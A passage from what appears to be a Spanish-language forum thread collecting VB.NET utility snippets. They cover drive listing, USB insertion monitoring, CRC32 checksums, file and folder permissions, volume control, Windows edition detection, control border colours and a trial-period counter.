Fixed = IO.DriveType.Fixed
Network = IO.DriveType.Network
Ram = IO.DriveType.Ram
Removable = IO.DriveType.Removable
Unknown = IO.DriveType.Unknown
End Enum
Private Function Get_Drives_Info( _
ByVal DriveType As DriveType, _
ByVal Name As Boolean, _
Optional ByVal Label As Boolean = False, _
Optional ByVal Type As Boolean = False, _
Optional ByVal Format As Boolean = False, _
Optional ByVal Size As Boolean = False, _
Optional ByVal FreeSpace As Boolean = False) As List(Of String)
Dim Drive_Info_List As New List(Of String)
Dim Drive_Info As String = Nothing
For Each Drive In Microsoft.VisualBasic.FileIO.FileSystem.Drives
If (DriveType = DriveType.ALL Or Drive.DriveType = DriveType) And (Drive.IsReady) Then
If Drive.IsReady = True Then
If Name Then Drive_Info += Drive.Name & ";"
If Label Then Drive_Info += Drive.VolumeLabel & ";"
If Type Then Drive_Info += Drive.DriveType.ToString & ";"
If Format Then Drive_Info += Drive.DriveFormat & ";"
If Size Then Drive_Info += Drive.TotalSize.ToString & ";"
If FreeSpace Then Drive_Info += Drive.TotalFreeSpace & ";"
End If
End If
If Drive_Info IsNot Nothing Then Drive_Info_List.Add(Drive_Info) : Drive_Info = Nothing
Next
Return Drive_Info_List
End Function
#End Region
Monitorizar la inserción/extracción de dispositivos (y obtener información adicional)
by Keyen Night
#Region " Monitorize Drives "
' Diccionario para guardar información (letra, información)
Public CurrentDrives As New Dictionary(Of Char, DriveInfoGhost)
Public Event DriveConnected(ByVal e As IO.DriveInfo)
Public Event DriveDisconnected(ByVal e As DriveInfoGhost)
' Estructura que replica el contenido de DriveInfo
Public Structure DriveInfoGhost
Public Name As String
Public AvailableFreeSpace As Long
Public DriveFormat As String
Public DriveType As IO.DriveType
Public RootDirectory As String
Public TotalFreeSpace As Long
Public TotalSize As Long
Public VolumeLabel As String
Public Sub New(ByVal e As IO.DriveInfo)
Name = e.Name
AvailableFreeSpace = e.AvailableFreeSpace
DriveFormat = e.DriveFormat
DriveType = e.DriveType
RootDirectory = e.RootDirectory.FullName
TotalFreeSpace = e.TotalFreeSpace
TotalSize = e.TotalSize
VolumeLabel = e.VolumeLabel
End Sub
End Structure
' Estructura nativa de Windows para almacenar información de dispositivos
Public Structure WindowsDrive
Public Size As Integer
Public Type As Integer
Public Reserved As Integer
Public Mask As Integer
End Structure
' Constantes que necesitamos
Public Enum ConstWindowsDrivers As Integer
Change = &H219
Arrival = &H8000
QueryRemove = &H8001
QueryRemoveFailed = &H8002
RemovePending = &H8003
RemoveComplete = &H8004
TypeVolume = &H2
End Enum
Protected Overrides Sub WndProc(ByRef [Message] As Message)
Select Case [Message].Msg ' Filtramos los mensajes
Case ConstWindowsDrivers.Change ' Si el Hardware cambió
' Transformamos el puntero del primer parametro en una estructura de datos
Dim CurrentWDrive As WindowsDrive = CType(System.Runtime.InteropServices.Marshal.PtrToStructure([Message].LParam, GetType(WindowsDrive)), WindowsDrive)
' Transformamos la estructura en información de la unidad
Dim CurrentDrive As IO.DriveInfo = New IO.DriveInfo(GetDriveLetter(CurrentWDrive.Mask))
' El segundo parametros nos indica si se esta desconectando o conectando
Select Case [Message].WParam.ToInt32
' Se esta conectando...
Case ConstWindowsDrivers.Arrival
' Si es un dispositivo de almacenamiento
If System.Runtime.InteropServices.Marshal.ReadInt32([Message].LParam, 4) = ConstWindowsDrivers.TypeVolume Then
' Llamamos un evento que controla la conexión
RaiseEvent DriveConnected(CurrentDrive)
' Guardamos la información del dispositivo en un diccionario fantasma (letra, información),
' ya que cuando se desconecte habremos perdido toda la información,
' sólamente nos quedara la letra de la unidad, con ella podremos volver a obtener la información a traves del diccionario'
CurrentDrives.Add(GetDriveLetter(CurrentWDrive.Mask), New DriveInfoGhost(CurrentDrive))
End If
' Si es desconectado...
Case ConstWindowsDrivers.RemoveComplete
' Llamamos al evento de desconexión con la información en el diccionario fantasma,
' ya que no tenemos acceso a la información, porque el hardware ha sido desconectado
RaiseEvent DriveDisconnected(CurrentDrives(GetDriveLetter(CurrentWDrive.Mask)))
' Removemos el hardware del diccionario
CurrentDrives.Remove(GetDriveLetter(CurrentWDrive.Mask))
End Select
End Select
MyBase.WndProc([Message])
End Sub
' Nos traduce el código de los parametros a letras
Private Function GetDriveLetter(ByVal Mask As Integer) As Char
Dim Names() As Char = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
Dim Devices As New BitArray(System.BitConverter.GetBytes(Mask))
For x As Integer = 0 To Devices.Length
If Devices(x) Then
Return Names(x)
End If
Next
End Function
' Eventos
Private Sub Main_DriveConnected(ByVal e As System.IO.DriveInfo) Handles Me.DriveConnected
MessageBox.Show(String.Format("Se ha conectado la unidad {0}", e.Name))
End Sub
Private Sub Main_DriveDisconnected(ByVal e As DriveInfoGhost) Handles Me.DriveDisconnected
MessageBox.Show(String.Format("Se ha desconectado la unidad {0}", e.Name))
End Sub
#End Region
Monitorizar la inserción/extracción de dispositivos (y obtener información adicional)
by Kub0x
PD: Añadir un listbox al Form para ver/entender como actua el code.
Imports System.IO
Imports System.Threading
Public Class Inicio
Private Drives() As DriveInfo
Private Delegate Sub ListenToUSB()
Private Delegate Sub UpdateListBoxText(ByVal Text As String)
Private Delegate Sub MonitorizeUSB(ByVal Drive As DriveInfo)
Private Sub ListenToRemovableDrives()
'Mejor crear 1 sola variable que ochocientas mil e ir actualizándola periodicamente
Dim connectedDrives As DriveInfo() = Nothing
While True
connectedDrives = DriveInfo.GetDrives()
For Each drive As DriveInfo In connectedDrives
IsRemovableDrive(drive)
Next
'Aquí indica el tiempo que quieres que espere el proceso de escucha para después volver a comenzar
Thread.Sleep(2500)
End While
End Sub
Private Sub IsRemovableDrive(ByVal Drive As DriveInfo)
If Drive.IsReady And Drive.DriveType = DriveType.Removable Then
IsDriveMonitorized(Drive)
End If
End Sub
Private Function GetDrivePosInArray(ByVal Drive As DriveInfo) As Int32
Dim isInList As Boolean = False
Dim i As Int32 = 0
Do
If Not IsNothing(CType(Drives(i), Object)) Then
If Drives(i).Name = Drive.Name Then
isInList = True
End If
End If
i += 1
Loop Until isInList Or i >= Drives.Length - 1
Return i - 1
End Function
Private Function IsDriveInList(ByVal Drive As DriveInfo) As Boolean
Dim isInList As Boolean = False
Dim i As Int32 = 0
Do
If Not IsNothing(CType(Drives(i), Object)) Then
If Drives(i).Name = Drive.Name Then
isInList = True
End If
End If
i += 1
Loop Until isInList Or i >= Drives.Length - 1
Return isInList
End Function
Private Sub IsDriveMonitorized(ByVal Drive As DriveInfo)
If Not IsDriveInList(Drive) Then
'Como la unidad USB no está siendo monitorizada por otro subproceso
'Añadimos sus características al ListBox
ListBox1.BeginInvoke(New UpdateListBoxText(AddressOf UpdateLstBoxText), _
New Object() {"Se ha conectado una nueva Memoria USB en " & Drive.Name})
Drives(Drives.Length - 1) = Drive
Array.Resize(Drives, Drives.Length + 1)
'Monitorizamos la unidad USB
Dim delegado As New MonitorizeUSB(AddressOf MonitorizeDrive)
delegado.BeginInvoke(Drive, Nothing, Nothing)
End If
End Sub
Private Sub MonitorizeDrive(ByVal Drive As DriveInfo)
Dim Removed As Boolean = False
While Not Removed
If Not Drive.IsReady Then
Removed = True
Dim pos As Int32 = GetDrivePosInArray(Drive)
ReOrganizeArray(pos)
ListBox1.BeginInvoke(New UpdateListBoxText(AddressOf UpdateLstBoxText), _
New Object() {"La unidad USB " & Drive.Name & " fue extraída."})
End If
End While
End Sub
Private Sub ReOrganizeArray(ByVal pos As Int32)
'Eliminamos el elemento rotando el Array hacia la izquierda
Drives(pos) = Nothing
Array.Resize(Drives, Drives.Length - 1)
End Sub
Private Sub UpdateLstBoxText(ByVal Text As String)
ListBox1.Items.Add(Text)
End Sub
Private Sub Inicio_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
Drives = New DriveInfo(0) {}
Dim delegado As New ListenToUSB(AddressOf ListenToRemovableDrives)
delegado.BeginInvoke(Nothing, Nothing)
End Sub
End Class
Calcula el CRC32 checksum de un archivo
#Region " Get CRC32 Function "
' [ Get CRC32 Function ]
'
' Examples :
'
' MsgBox(Get_CRC32("C:\File.txt"))
Public Function Get_CRC32(ByVal sFileName As String) As String
Try
Dim FS As IO.FileStream = New IO.FileStream(sFileName, IO.FileMode.Open, IO.FileAccess.Read, IO.FileShare.Read, 8192)
Dim CRC32Result As Integer = &HFFFFFFFF
Dim Buffer(4096) As Byte
Dim ReadSize As Integer = 4096
Dim Count As Integer = FS.Read(Buffer, 0, ReadSize)
Dim CRC32Table(256) As Integer
Dim DWPolynomial As Integer = &HEDB88320
Dim DWCRC As Integer
Dim i As Integer, j As Integer, n As Integer
' Create CRC32 Table
For i = 0 To 255
DWCRC = i
For j = 8 To 1 Step -1
If (DWCRC And 1) Then
DWCRC = ((DWCRC And &HFFFFFFFE) \ 2&) And &H7FFFFFFF
DWCRC = DWCRC Xor DWPolynomial
Else
DWCRC = ((DWCRC And &HFFFFFFFE) \ 2&) And &H7FFFFFFF
End If
Next j
CRC32Table(i) = DWCRC
Next i
' Calculate CRC32 Hash
Do While (Count > 0)
For i = 0 To Count - 1
n = (CRC32Result And &HFF) Xor Buffer(i)
CRC32Result = ((CRC32Result And &HFFFFFF00) \ &H100) And &HFFFFFF
CRC32Result = CRC32Result Xor CRC32Table(n)
Next i
Count = FS.Read(Buffer, 0, ReadSize)
Loop
Return Hex(Not (CRC32Result))
Catch ex As Exception
Return Nothing
End Try
End Function
#End Region
Hexadecimal a Array de Bytes:
#Region " Hex to Byte-Array Function "
' [ Hex to Byte-Array Function ]
'
' Examples :
' Dim Byte_Array = Hex_to_Byte_Array("000a42494c4c2047415445535ad50adc4f5ca6f9efc1252aadf9847f")
' My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\KEYNAME", "VALUENAME", Byte_Array, Microsoft.Win32.RegistryValueKind.Binary)
Private Function Hex_to_Byte_Array(ByVal HEX_String As String) As Byte()
Dim Bytes_Array((HEX_String.Length \ 2) - 1) As Byte
For i As Integer = 0 To HEX_String.Length - 1 Step 2
Dim HEX_Byte As String = HEX_String.Substring(i, 2)
Dim Byte_Value As Byte = Byte.Parse(HEX_Byte, Globalization.NumberStyles.AllowHexSpecifier)
Bytes_Array(i \ 2) = Byte_Value
Next
Return Bytes_Array
End Function
#End Region
Windows API Code Pack:
#Region " Set TaskBar Status Function "
' [ Set TaskBar Status Function ]
'
' // By Elektro H@cker
'
' Examples :
' Set_TaskBar_Status(TaskBar_Status.Paused)
Public Enum TaskBar_Status
Normal = 2 ' Blue
Stopped = 4 ' Red
Paused = 8 ' Yellow
Disabled = 0 ' No colour
Undefinied = 1 ' Marquee
End Enum
Private Function Set_TaskBar_Status(ByVal TaskBar_Status As TaskBar_Status) As Boolean
Try : Microsoft.WindowsAPICodePack.Taskbar.TaskbarManager.Instance.SetProgressState(TaskBar_Status)
Return True
Catch ex As Exception : Throw New Exception(ex.Message)
End Try
End Function
#End Region
Windows API Code Pack:
#Region " Set TaskBar Value Function "
' [ Set TaskBar Value Function ]
'
' // By Elektro H@cker
'
' Examples :
' Set_TaskBar_Value(50, 100)
Private Function Set_TaskBar_Value(ByVal Current_Value As Integer, ByVal MAX_Value As Integer) As Boolean
Try : Microsoft.WindowsAPICodePack.Taskbar.TaskbarManager.Instance.SetProgressValue(Current_Value, MAX_Value)
Return True
Catch ex As Exception : Throw New Exception(ex.Message)
End Try
End Function
#End Region
Modificar permisos de carpetas:
#Region " Folder Access Function "
' [ Folder Access Function ]
'
' // By Elektro H@cker
'
' Examples :
' Set_Folder_Access("C:\Folder", Folder_Access.Create + Folder_Access.Write, Action.Allow)
' Set_Folder_Access("C:\Folder", Folder_Access.Delete, Action.Deny)
Public Enum Folder_Access
Create = System.Security.AccessControl.FileSystemRights.CreateDirectories + System.Security.AccessControl.FileSystemRights.CreateFiles
Delete = System.Security.AccessControl.FileSystemRights.Delete + System.Security.AccessControl.FileSystemRights.DeleteSubdirectoriesAndFiles
Write = System.Security.AccessControl.FileSystemRights.AppendData + System.Security.AccessControl.FileSystemRights.Write + Security.AccessControl.FileSystemRights.WriteAttributes + System.Security.AccessControl.FileSystemRights.WriteData + System.Security.AccessControl.FileSystemRights.WriteExtendedAttributes
End Enum
Public Enum Action
Allow = 0
Deny = 1
End Enum
Private Function Set_Folder_Access(ByVal Path As String, ByVal Folder_Access As Folder_Access, ByVal Action As Action) As Boolean
Try
Dim Folder_Info As IO.DirectoryInfo = New IO.DirectoryInfo(Path)
Dim Folder_ACL As New System.Security.AccessControl.DirectorySecurity
Folder_ACL.AddAccessRule(New System.Security.AccessControl.FileSystemAccessRule(My.User.Name, Folder_Access, System.Security.AccessControl.InheritanceFlags.ContainerInherit Or System.Security.AccessControl.InheritanceFlags.ObjectInherit, System.Security.AccessControl.PropagationFlags.None, Action))
Folder_Info.SetAccessControl(Folder_ACL)
Return True
Catch ex As Exception
Throw New Exception(ex.Message)
' Return False
End Try
#End Region
Funciones para controlar el volumen maestro del PC...
Se necesita la API "Vista Core Audio API" : http://www.codeproject.com/Articles/18520/Vista-Core-Audio-API-Master-Volume-Control
· Obtener el volumen maestro:
#Region " Get Master Volume Function "
' [ Get Master Volume Function ]
'
' // By Elektro H@cker
'
' Examples :
' Dim Volume As Integer = Get_Master_Volume(Volume_Measure.As_Integer)
' Dim Volume As String = Get_Master_Volume(Volume_Measure.As_Percent)
Public Enum Volume_Measure
As_Integer
As_Decimal
As_Single
As_Percent
End Enum
Private Function Get_Master_Volume(ByVal Volume_Measure As Volume_Measure)
Select Case Volume_Measure
Case Form1.Volume_Measure.As_Integer : Return CInt(Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar * 100)
Case Form1.Volume_Measure.As_Decimal : Return (String.Format("{0:n2}", Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar))
Case Form1.Volume_Measure.As_Single : Return CSng(Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar)
Case Form1.Volume_Measure.As_Percent : Return CInt(Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar * 100) & "%"
Case Else : Return Nothing
End Select
End Function
#End Region
· Setear el volumen maestro:
#Region " Set Master Volume Function "
' [ Set Master Volume Function ]
'
' // By Elektro H@cker
'
' Examples :
' Set_Master_Volume(50)
Private Function Set_Master_Volume(ByVal Value As Integer) As Boolean
Try : Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar = (Value / 100)
Return True
Catch ex As Exception : Throw New Exception(ex.Message)
End Try
End Function
#End Region
· Mutear el volumen maestro:
#Region " Mute Master Volume Function "
' [ Mute Master Volume Function ]
'
' // By Elektro H@cker
'
' Examples :
' Mute_Master_Volume(False)
' Mute_Master_Volume(True)
Private Function Set_Master_Volume(ByVal Mute As Boolean) As Boolean
Try : Audio_Device.AudioEndpointVolume.Mute = Mute
Return True
Catch ex As Exception : Throw New Exception(ex.Message)
End Try
End Function
#End Region
· Deslizar el volumen maestro (Desvanecer o aumentar):
(Corregido)
Instrucciones:
Fade_Master_Volume(Desde el volumen, Hasta el volumen, En "X" Milisegundos, Forzar/NoForzar el devanecimiento)
#Region " Fade Master Volume Function "
' [ Fade Master Volume Function ]
'
' // By Elektro H@cker
'
' Examples :
' Fade_Master_Volume(0, 100, 5000, Fading_Mode.FadeIN, True)
' Fade_Master_Volume(80, 20, 5000, Fading_Mode.FadeOUT, False)
' Fade_Master_Volume(10, 50, 5000, Fading_Mode.None, True)
Dim Fade_Value_MIN As Integer
Dim Fade_Value_MAX As Integer
Dim Fade_TimeOut As Long
Dim Fade_Mode As Fading_Mode
Dim Force_Fading As Boolean
Dim Fader_Timer As New Timer
Public Enum Fading_Mode
FadeIN = 0
FadeOUT = 1
None = 2
End Enum
' Fade Master Volume Function
Private Function Fade_Master_Volume(ByVal MIN As Integer, ByVal MAX As Integer, ByVal Milliseconds As Long, ByVal Mode As Fading_Mode, ByVal Force As Boolean) As Boolean
If MIN <= 100 And MIN >= 0 And MAX <= 100 And MAX >= 0 Then
Try
Fade_Value_MIN = MIN
Fade_Value_MAX = MAX
Fade_TimeOut = Milliseconds
Fade_Mode = Mode
Force_Fading = Force
Fader_Timer = New Timer
AddHandler Fader_Timer.Tick, AddressOf Fade_Master_Volume_Timer_Tick
Select Case Mode
Case Fading_Mode.FadeIN : Fader_Timer.Interval = Milliseconds / (MAX - MIN)
Case Fading_Mode.FadeOUT : Fader_Timer.Interval = Milliseconds / (MIN - MAX)
Case Fading_Mode.None : Fader_Timer.Interval = Milliseconds
End Select
Fader_Timer.Enabled = True
Return True
Catch ex As Exception : Throw New Exception(ex.Message)
End Try
Else
Throw New Exception("Number is not in range from 0 to 100")
End If
End Function
' Fade Master Volume Timer Tick Event
Private Sub Fade_Master_Volume_Timer_Tick(sender As Object, e As EventArgs)
Dim Current_Vol As Integer = CInt(Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar * 100)
Select Case Fade_Mode
Case Fading_Mode.FadeOUT
If Not Force_Fading Then
If Not Current_Vol <= Fade_Value_MAX Then : Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar -= 0.01
ElseIf Current_Vol >= Fade_Value_MAX Then : Fader_Timer.Stop() : Fader_Timer.Enabled = False
End If
ElseIf Force_Fading Then
If Not Fade_Value_MIN < Fade_Value_MAX Then
Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar = (Fade_Value_MIN / 100)
Fade_Value_MIN -= 1
Else : Fader_Timer.Stop() : Fader_Timer.Enabled = False
End If
End If
Case Fading_Mode.FadeIN
If Not Force_Fading Then
If Not Current_Vol >= Fade_Value_MAX Then : Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar += 0.01
ElseIf Current_Vol <= Fade_Value_MAX Then : Fader_Timer.Stop() : Fader_Timer.Enabled = False
End If
ElseIf Force_Fading Then
If Not Fade_Value_MIN > Fade_Value_MAX Then
Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar = (Fade_Value_MIN / 100)
Fade_Value_MIN += 1
Else : Fader_Timer.Stop() : Fader_Timer.Enabled = False
End If
End If
Case Fading_Mode.None
Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar = Fade_Value_MAX
Fader_Timer.Stop() : Fader_Timer.Enabled = False
End Select
End Sub
#End Region
Checkar si un número está entre un rango de números.
PD: Si conocen un método mejor porfavor postéenlo
#Region " Number Is In Range Function "
' [ Number Is In Range Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(NumberIsInRange(50, 0, 100))
' If NumberIsInRange(5, 1, 10) then...
Private Function NumberIsInRange(ByVal Number As Integer, ByVal MIN As Integer, ByVal MAX As Integer) As Boolean
Select Case Number
Case MIN To MAX : Return True
Case Else : Return False
End Select
End Function
#End Region
Modificar permisos de archivos:
#Region " Set File Access Function "
' [ Set File Access Function ]
'
' // By Elektro H@cker
'
' Examples :
' Set_File_Access("C:\File.txt", File_Access.Read + File_Access.Write, Action.Allow)
' Set_File_Access("C:\File.txt", File_Access.Full, Action.Deny)
Public Enum File_Access
Delete = System.Security.AccessControl.FileSystemRights.Delete + Security.AccessControl.FileSystemRights.DeleteSubdirectoriesAndFiles
Read = System.Security.AccessControl.FileSystemRights.ExecuteFile + System.Security.AccessControl.FileSystemRights.Read
Write = System.Security.AccessControl.FileSystemRights.Write + Security.AccessControl.FileSystemRights.WriteAttributes + Security.AccessControl.FileSystemRights.WriteExtendedAttributes
Full = Security.AccessControl.FileSystemRights.FullControl
End Enum
Public Enum Action
Allow = 0
Deny = 1
End Enum
Private Function Set_File_Access(ByVal File As String, ByVal File_Access As File_Access, ByVal Action As Action) As Boolean
Try
Dim File_Info As IO.FileInfo = New IO.FileInfo(File)
Dim File_ACL As New System.Security.AccessControl.FileSecurity
File_ACL.AddAccessRule(New System.Security.AccessControl.FileSystemAccessRule(My.User.Name, File_Access, Action))
File_Info.SetAccessControl(File_ACL)
Return True
Catch ex As Exception
Throw New Exception(ex.Message)
' Return False
End Try
End Function
#End Region
Obtener la edición de Windows (Sólo para windows VISTA o superior)
#Region " Get OS Edition Function "
' [ Get OS Edition Function ]
'
' Examples :
' Dim Edition As String = Get_OS_Edition()
' MsgBox("You are running Windows " & Get_OS_Edition() & " Edition")
Private Const STARTER As Integer = &HB
Private Const HOME_BASIC As Integer = &H2
Private Const HOME_BASIC_N As Integer = &H5
Private Const HOME_PREMIUM As Integer = &H3
Private Const HOME_PREMIUM_N As Integer = &H1A
Private Const BUSINESS As Integer = &H6
Private Const BUSINESS_N As Integer = &H10
Private Const ENTERPRISE As Integer = &H4
Private Const ENTERPRISE_N As Integer = &H1B
Private Const ULTIMATE As Integer = &H1
Private Const ULTIMATE_N As Integer = &H1C
Private Declare Function GetProductInfo Lib "kernel32" (ByVal dwOSMajorVersion As Integer, ByVal dwOSMinorVersion As Integer, ByVal dwSpMajorVersion As Integer, ByVal dwSpMinorVersion As Integer, ByRef pdwReturnedProductType As Integer) As Integer
Public Function Get_OS_Edition() As String
Dim Edition_Type As Integer
If GetProductInfo(Environment.OSVersion.Version.Major, Environment.OSVersion.Version.Minor, 0, 0, Edition_Type) Then
Select Case Edition_Type
Case STARTER : Return "Starter"
Case HOME_BASIC : Return "Home Basic"
Case HOME_BASIC_N : Return "Home Basic N"
Case HOME_PREMIUM : Return "Home Premium"
Case HOME_PREMIUM_N : Return "Home Premium N"
Case BUSINESS : Return "Business"
Case BUSINESS_N : Return "Business N"
Case ENTERPRISE : Return "Enterprise"
Case ENTERPRISE_N : Return "Enterprise N"
Case ULTIMATE : Return "Ultimate"
Case ULTIMATE_N : Return "Ultimate N"
Case Else : Return "Unknown"
End Select
End If
Return Nothing ' Windows is not VISTA or Higher
End Function
#End Region
· Función para modificar el color del borde de un control.
(http://img826.imageshack.us/img826/3144/prtscrcapture2io.jpg)
Nota:
Afecta a todos los controles handleados, es decir, si cambiamos el color de "button1", y luego el color de "button2", el color de "button1" pasará a ser el color que usa "button2", no he conseguido mejorarlo más, pero bueno, lo suyo es colorear todos los bordes dle mismo color, ¿no?, así que creo que no tiene mucha importancia...
#Region " Set Control Border Color Function "
' [ Set Control Border Color Function ]
'
' // By Elektro H@cker
'
' Examples :
' Set_Control_Border_Color(Button1, Pens.Crimson, Pens.Red, Pens.DarkRed)
' Set_Control_Border_Color(Checkbox1, Pens.Transparent, Pens.Transparent, Pens.Transparent)
Dim Border_Color_Light As Pen
Dim Border_Color_Middle As Pen
Dim Border_Color_Dark As Pen
Private Function Set_Control_Border_Color(ByVal Control As Control, Color_Light As Pen, ByVal Color_Middle As Pen, ByVal Color_Dark As Pen) As Boolean
Try
Border_Color_Light = Color_Light
Border_Color_Middle = Color_Middle
Border_Color_Dark = Color_Dark
Handled_Controls.Add(Control)
AddHandler Control.Paint, AddressOf Control_Paint
Return True
Catch ex As Exception : Throw New Exception(ex.Message)
End Try
End Function
Private Sub Control_Paint(ByVal sender As System.Object, ByVal e As System.Windows.Forms.PaintEventArgs)
Dim offset As Integer = 0
e.Graphics.DrawRectangle(Border_Color_Light, New Rectangle(New Point(offset, offset), New Size(e.ClipRectangle.Width - ((offset * 2) + 1), e.ClipRectangle.Height - ((offset * 2) + 1))))
offset += 1
e.Graphics.DrawRectangle(Border_Color_Middle, New Rectangle(New Point(offset, offset), New Size(e.ClipRectangle.Width - ((offset * 2) + 1), e.ClipRectangle.Height - ((offset * 2) + 1))))
offset += 1
e.Graphics.DrawRectangle(Border_Color_Dark, New Rectangle(New Point(offset, offset), New Size(e.ClipRectangle.Width - ((offset * 2) + 1), e.ClipRectangle.Height - ((offset * 2) + 1))))
End Sub
#End Region
Mejorado:
#Region " Set Control Border Color Function "
' [ Set Control Border Color Function ]
'
' // By Elektro H@cker
'
' Examples :
' Set_Control_Border_Color(Button1, Pens.Crimson, Pens.Red, Pens.DarkRed)
' Set_Control_Border_Color(Checkbox1, Pens.Transparent, Pens.Transparent, Pens.Transparent)
Dim Border_Color_Light As Pen
Dim Border_Color_Middle As Pen
Dim Border_Color_Dark As Pen
Dim Last_Handled_control As Control
Private Function Set_Control_Border_Color(ByVal Control As Control, Color_Light As Pen, ByVal Color_Middle As Pen, ByVal Color_Dark As Pen) As Boolean
Try
Border_Color_Light = Color_Light
Border_Color_Middle = Color_Middle
Border_Color_Dark = Color_Dark
AddHandler Control.Paint, AddressOf Control_Paint
Last_Handled_control = Control
Return True
Catch ex As Exception : Throw New Exception(ex.Message)
End Try
End Function
Private Sub Control_Paint(ByVal sender As System.Object, ByVal e As System.Windows.Forms.PaintEventArgs)
If sender.name = Last_Handled_control.Name Then
Dim offset As Integer = 0
e.Graphics.DrawRectangle(Border_Color_Light, New Rectangle(New Point(offset, offset), New Size(e.ClipRectangle.Width - ((offset * 2) + 1), e.ClipRectangle.Height - ((offset * 2) + 1))))
offset += 1
e.Graphics.DrawRectangle(Border_Color_Middle, New Rectangle(New Point(offset, offset), New Size(e.ClipRectangle.Width - ((offset * 2) + 1), e.ClipRectangle.Height - ((offset * 2) + 1))))
offset += 1
e.Graphics.DrawRectangle(Border_Color_Dark, New Rectangle(New Point(offset, offset), New Size(e.ClipRectangle.Width - ((offset * 2) + 1), e.ClipRectangle.Height - ((offset * 2) + 1))))
End If
End Sub
#End Region
· Periodo Trial
Instrucciones:
1. Crear una Setting de "User" con el nombre "UsageDates" y de tipo "System.collection.specialized.stringcollection"
2. Añadir estas dos funcines al form:
Private Function CheckDate(ByVal dateToCheck As Date) As Boolean
'In reality, CheckDate would get the date (current date) itself and not have it passed in
Dim retValue As Boolean = False 'Fail safe, default to false
Dim usageDatesLeft As Int16 = 3 ' set it to 4 just for testing
'Dim usageDatesLeft As Int16 = 30 ' set this to the number of days of application access
'Hash the date
Dim hashedDate As String = HashDate(dateToCheck)
'Check to see if the hash value exists in the UsageDates
'Initialize the container if necessary
If My.Settings.UsageDates Is Nothing Then
My.Settings.UsageDates = New System.Collections.Specialized.StringCollection
End If
If My.Settings.UsageDates.Contains(hashedDate) Then
'then we are ok... it's already been checked
retValue = True
usageDatesLeft = CShort(usageDatesLeft - My.Settings.UsageDates.Count)
'sanity check... if the system date is backed up to a previous date in the list, but not the last date
If usageDatesLeft <= 0 AndAlso My.Settings.UsageDates.IndexOf(hashedDate) <> My.Settings.UsageDates.Count - 1 Then
retValue = False
End If
Else
If My.Settings.UsageDates.Count < usageDatesLeft Then
My.Settings.UsageDates.Add(hashedDate)
End If
usageDatesLeft = CShort(usageDatesLeft - My.Settings.UsageDates.Count)
'If not, and the remining count has "slots" open, add it
If usageDatesLeft > 0 Then
retValue = True
Else
'If not and tree are no more slots, tell user, exit app
retValue = False
End If
End If
'Display to the user how many days are remianing:
MessageBox.Show(String.Format("You have {0} day(s) remaining.", usageDatesLeft))
Return retValue
End Function
Private Function HashDate(ByVal dateToHash As Date) As String
'Get a hash object
Dim hasher As System.Security.Cryptography.MD5 = System.Security.Cryptography.MD5.Create()
'Take date, make it a Long date and hash it
Dim data As Byte() = hasher.ComputeHash(System.Text.Encoding.Default.GetBytes(dateToHash.ToLongDateString()))
' Create a new Stringbuilder to collect the bytes
' and create a string.
Dim sBuilder As New System.Text.StringBuilder()
' Loop through each byte of the hashed data
' and format each one as a hexadecimal string.
Dim idx As Integer
For idx = 0 To data.Length - 1
sBuilder.Append(data(idx).ToString("x2"))
Next idx
Return sBuilder.ToString
End Function
3. Usar la función por ejemplo en el Form_Load:
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Dim aCount As Integer = 0
Dim loopIt As Boolean = True
'My.Settings.Reset() 'This is here for design time support... otherwise you won't get your app to run agin
Do While loopIt
MessageBox.Show(String.Format("Checking Date: {0}.", Date.Now.AddDays(aCount)))
loopIt = CheckDate(Date.Now.AddDays(aCount))
If Not loopIt Then
MessageBox.Show("Trial Period Ended! Application closing!")
Me.Close()
Else
MessageBox.Show("You can keep using the app")
End If
aCount += 1
Loop
End Sub
· Trial period (Modificado un poco por mí)
#Region " Trial Period Function "
' [ Trial Period Function ]
'
' Examples :
' Trial_Get(Trial_value.As_Boolean)
' MsgBox(String.Format("You have {0} day(s) remaining.", Trial_Get(Trial_value.As_LeftDays)))
Public Enum Trial_value
As_Boolean
As_LeftDays
As_CountDays
End Enum
' Trial Period [Get]
Public Function Trial_Get(ByVal Trial_value As Trial_value)
'My.Settings.Reset() 'If you want to reset the trial period
Dim TrialCount As Integer = 0
TrialCount += 1
Return Trial_CheckDate(Date.Now.AddDays(TrialCount), Trial_value)
End Function
' Trial Period [CheckDate]
Public Function Trial_CheckDate(ByVal Trial_DateToCheck As Date, ByVal Trial_value As Trial_value)
Dim Trial_retValue As Boolean = False ' Fail safe, default to false
Dim Trial_usageDatesLeft As Int16 = 7 ' Set here the number of days of Trial period
Dim Trial_hashedDate As String = Trial_HashDate(Trial_DateToCheck)
If My.Settings.Trial_Period Is Nothing Then My.Settings.Trial_Period = New System.Collections.Specialized.StringCollection
If My.Settings.Trial_Period.Contains(Trial_hashedDate) Then
Trial_retValue = True
Trial_usageDatesLeft = CShort(Trial_usageDatesLeft - My.Settings.Trial_Period.Count)
If Trial_usageDatesLeft <= 0 AndAlso My.Settings.Trial_Period.IndexOf(Trial_hashedDate) <> My.Settings.Trial_Period.Count - 1 Then Trial_retValue = False
Else
If My.Settings.Trial_Period.Count < Trial_usageDatesLeft Then My.Settings.Trial_Period.Add(Trial_hashedDate)
Trial_usageDatesLeft = CShort(Trial_usageDatesLeft - My.Settings.Trial_Period.Count)
If Trial_usageDatesLeft > 0 Then Trial_retValue = True Else Trial_retValue = False
End If
Select Case Trial_value
Case Trial_value.As_Boolean : Return Trial_retValue ' If False then Trial Period is expired
Case Trial_value.As_LeftDays : Return Trial_usageDatesLeft ' Days left
